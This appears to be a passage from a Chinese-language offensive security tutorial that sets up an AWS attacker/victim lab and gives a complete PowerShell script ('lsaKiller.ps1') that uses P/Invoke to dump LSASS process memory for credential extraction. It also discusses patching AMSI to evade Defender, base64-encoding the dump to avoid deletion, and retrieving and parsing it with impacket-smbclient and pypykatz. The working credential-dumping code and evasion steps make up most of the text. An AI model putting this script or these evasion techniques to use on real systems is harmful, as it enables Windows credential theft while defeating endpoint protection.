带有 Ubuntu Linux AMI 的 AWS EC2 作为攻击者 C2 服务器。
带有 Windows Server 2019 AMI 的 AWS EC2 作为受害者机器。
安装 Visual Studio 2022 社区的本地 Windows 10 计算机用于恶意软件开发和编译
本地 Kali Linux 攻击机。
P/Invoke允许从非托管二进制 Windows DLL 访问结构、回调和函数，以便访问可能无法直接从 .NET 获得的原生组件中的底层 API。
现在，由于知道它的作用，并且知道可以在 PowerShell 中使用 .NET，这意味着可以从 PowerShell 脚本访问底层 API，如果之前修补 AMSI，我们可以在没有 Defender 监视的情况下运行该脚本。
对于这个PoC，假设想通过 MiniDumpWriteDump 将 LSASS 进程转储到文件中，该文件在“Dbghelp.dll”中可用。为此，可以利用fortra 的 nanodump 工具。但是，它布满了太多defender可识别的特征。相反，可以利用 P/Invoke 编写一个 PowerShell 脚本来执行相同的操作，但可以修补 AMSI 以使其在这样做时变得不可检测。
因此，将为 PoC 使用以下 powershell 代码。
# lsaKiller.ps1Add-Type @" using System; using System.Runtime.InteropServices; public class MiniDump { [DllImport("Dbghelp.dll", SetLastError=true)] public static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam); }"@$PROCESS_QUERY_INFORMATION = 0x0400$PROCESS_VM_READ = 0x0010$MiniDumpWithFullMemory = 0x00000002Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class Kernel32 { [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool CloseHandle(IntPtr hObject); }"@$processId ="788"$processHandle = [Kernel32]::OpenProcess($PROCESS_QUERY_INFORMATION -bor $PROCESS_VM_READ, $false, $processId)if ($processHandle -ne [IntPtr]::Zero) { $dumpFile = [System.IO.File]::Create("C:\users\public\test1234.txt") $fileHandle = $dumpFile.SafeFileHandle.DangerousGetHandle() $result = [MiniDump]::MiniDumpWriteDump($processHandle, $processId, $fileHandle, $MiniDumpWithFullMemory, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero) if ($result) { Write-Host "Sucess" } else { Write-Host "Failed" -ForegroundColor Red } $dumpFile.Close() [Kernel32]::CloseHandle($processHandle)} else { Write-Host "Failed to open process handle." -ForegroundColor Red}
在此示例中，首先通过 Add-Type 从 Dbghelp.dll 导入 MiniDumpWriteDump 函数，然后从 kernel32.dll 导入 OpenProcess 和 CloseHandle。然后最终得到 LSASS 进程的句柄并使用 MiniDumpWriteDump 执行进程的完整内存转储并将其写入文件。
因此，完整的 PoC 如下：
执行 LSASS 转储
使用 impacket-smbclient 下载转储
使用 pypykatz 在本地解析 MiniDump 文件
请注意，最后使用了一个稍微修改过的脚本，该脚本在将转储写入文件之前将其加密为 base64，因为 Defender 将文件检测为 LSASS 转储并将其删除。